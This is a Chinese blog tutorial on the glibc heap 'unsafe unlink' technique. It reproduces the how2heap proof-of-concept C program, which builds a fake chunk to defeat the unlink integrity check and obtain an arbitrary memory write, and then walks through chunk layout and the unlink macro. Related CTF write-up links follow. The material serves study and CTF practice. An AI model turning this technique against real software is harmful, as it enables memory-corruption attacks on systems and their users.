linux堆溢出学习之unsafe unlink

原创 2016年12月10日 14:29:44

示例代码

来源:https://github.com/Escapingbug/how2heap/blob/master/unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
}

分析

大致思路

我们有一个全局指针变量chunk0_ptr用来保存malloc的地址,局部变量chunk1_ptr用来保存另外一个malloc之后的地址。 我们假设造成溢出的是chunk0,那么我们就可以更改掉与其连续分配的chunk1的元数据。通过构造fake chunk可以使得chunk0_ptr在unlink的时候,其值被更改,可以被更改为其自己的地址附近,然后通过操纵该地址,即可以操纵他自己所指向的地址的值,造成任意地址写。

前置知识

漏洞成因

漏洞的主要原因来源于以下几个问题:
1. 为了节约内存,被使用之后的chunk和未使用的chunk的内存布局不相同,但是都用了相同的大小,于是free chunk具有更多的数据
2. glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free chunk才有的额外数据
3. 在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看P->fd->bk == P && P->bk->fd= == P,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了。

基础知识

堆的chunk的结构:

 已分配的堆块:
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if allocated            | |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk, in bytes                       |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             User data starts here...                          .
        .                                                               .
        .             (malloc_usable_size() bytes)                      .
        .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk                                     |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
---------------------------------------------------------------------------------
 未分配的堆块:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk                            |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' |             Size of chunk, in bytes                         |P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Forward pointer to next chunk in list             |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Back pointer to previous chunk in list            |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Unused space (may be 0 bytes long)                .
        .                                                               .
        .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' |             Size of chunk, in bytes                           |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

简单的英文我就不做解释了,相信大家都懂。
主要注意的是,mem所指的位置才是我们真正拿到的malloc返回地址,也就是说堆块的meta data在mem之前。
再看unlink:

//unlink代码
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                    \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                        \
            if (FD->fd_nextsize == NULL) {                    \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;             \
                else {                                \
                    FD->fd_nextsize = P->fd_nextsize;                 \
                    FD->bk_nextsize = P->bk_nextsize;                 \
                    P->fd_nextsize->bk_nextsize = FD;                 \
                    P->bk_nextsize->fd_nextsize = FD;                 \
                  }                               \
              } else {                                \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
              }                                   \
          }                                   \
      }                                       \
}

其实不用关心太多,主要在意一个是内存的指针检查,一个是如何赋值unlink的。

具体分析

在最上方贴出的代码示例当中,可以很清楚的看到整个漏洞的利用过程。

首先chunk0和chunk1被连续分配,然后我们打算在chunk0的mem开始处构造一个伪堆块,那么需要的数据主要是bk和fd,我们构造bk和fd的位置,使得找到bk之后再找fd指向全局变量chunk0_ptr所在的位置,chunk0_ptr的值即为P,那么就可以绕过那个检查了,同理,使得fd之后再找bk也指向相同的位置。(fd位于X+2×int64_t,bk位于X+3×int64_t,所以通过减一下就可以使得找到bk之后再找fd或者找到fd之后再找bk指向chunk0_ptr所在的位置了,第一种情况为例,相当于先找到一个X+2*8的位置的值,再把这个值作为地址加上3*8,于是就找到chunk0_ptr的位置了)

由于chunk1找chunk0的起始位置是通过chunk1最开始的部分的prev_size,也就是chunk1的位置减去一个prev_size就可以找到chunk0的位置,所以需要更改prev_size,这样不至于跳到真正的chunk0而是伪chunk0,再更改chunk1的prev free标志位,使得伪chunk0成为一个free chunk

之后就可以进行free了,free chunk1,由于chunk1和伪chunk0连续,且伪chunk0现在状态为free,所以需要unlink 伪chunk0来进行合并操作。

unlink的时候,第一条赋值语句会被第二条覆盖,因为他们都指向相同的地址,那就是chunk0_ptr的地址,所以unlink中只有第二句赋值有效。

第二句赋值使得chunk0_ptr的指向的地址变为了他自己的所在的地址减去3*8,那么chunk0_ptr[3]的所在的地址就是他自己的所在的地址了(这里比较绕,一定要弄清楚所在的地址和指向的地址的区别)。

大概相当于:

|chunk0_ptr[0]<----
____________      |
|chunk0_ptr[1]    |
____________      |
|chunk0_ptr[2]    |
____________      |
|chunk0_ptr[3]    |
| chunk0_ptr    ---
____________

也就是说现在chunk0_ptr[3]和chunk0_ptr是同一个内存里的。
所以最后更改chunk0_ptr[3],也就是更改了chunk0_ptr的值,使其指向了另外的地方,那么再更改chunk0_ptr指向的地方,就更改了另外的地方,这里就可以做到任意地址写了

版权声明:转载请保留出处

CTF之堆溢出-unlink原理探究

来干!来干! 转战堆溢出,这东东确实接触的很少,听说很神奇很细腻。我也是初次接触就和大家一起共同学习下,也填补下这方面的空白。 https://sploitfun.wordpress.com/2...
  • qq_33438733
  • qq_33438733
  • 2017年06月12日 23:45
  • 1399

堆溢出(三)快表DWORD SHOOT

Windows 堆溢之快表DWORD SHOOT By Rweb@Reshahar 0x000 环境 1. 虚拟机 VirtualBox 5.0.20 2....
  • qq_21210995
  • qq_21210995
  • 2017年03月20日 15:07
  • 354

PWN STEP2 writeup —— 初试栈溢出

Hint:缓冲区溢出时需要构造好哪些东西? 题目描述: pwnstep Writeup: 纠结要不要把这篇writeup归到“原创”分类下,因为这道题是看了大神的writeup(注:http://...
  • aix0321
  • aix0321
  • 2015年05月02日 07:49
  • 1810

堆溢出利用

堆的工作原理与利用
  • qq_31481187
  • qq_31481187
  • 2017年05月02日 21:53
  • 4940

堆溢出学习之fastbin attack

堆溢出学习进程中的fastbin attack,以0ctf2017的babyheap为例
  • z231288
  • z231288
  • 2017年07月29日 10:58
  • 524

CTF-浅尝64位栈溢出PWN

干了一早上终于把这道’难题’做出来了,实在是不容易。头一次完完全全的做出64位的pwn题,如果就栈溢出来说的话,其实感觉和32位的也差不多。至少这方面没有遇到太大的困难,做64位的题对汇编指令的要求就...
  • qq_33438733
  • qq_33438733
  • 2017年06月04日 14:51
  • 1298

unlink之64位下有保护措施的利用

本文参考自 看雪CTF-ReeHY-main 堆溢出的unlink利用方法 看雪Wifi万能钥匙CTF2017第4题Writeup-double free解法基础知识上一篇文章我们学习了32位...
  • qq_32400847
  • qq_32400847
  • 2017年06月15日 10:54
  • 396

全面剖析Pwnable.kr unlink

最近一直在学习堆方面的知识,unlink是CTF中考察堆方面知识的重点.于是就拿一道简单的例题来剖析一下.堆方面的PWN对内存的分配和回收机制要求比较高,也是CTF中压轴题.目录: 知识简介 漏洞分析...
  • qq_33528164
  • qq_33528164
  • 2017年08月10日 17:56
  • 442

堆溢出 pawnable.kr Unlink

题目地址:http://pwnable.kr/play.php 按题目提示连接  ssh unlink@pwnable.kr -p2222 (pw: guest) ls    发现和之前的题目一样: ...
  • nibiru_holmes
  • nibiru_holmes
  • 2017年03月08日 21:08
  • 627

【SCTF&&CCTF 2016】 PWN_WRITEUP

这里是摘要吗
  • yuanyunfeng3
  • yuanyunfeng3
  • 2016年05月15日 22:42
  • 1941
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:linux堆溢出学习之unsafe unlink
举报原因:
原因补充:

(最多只允许输入30个字)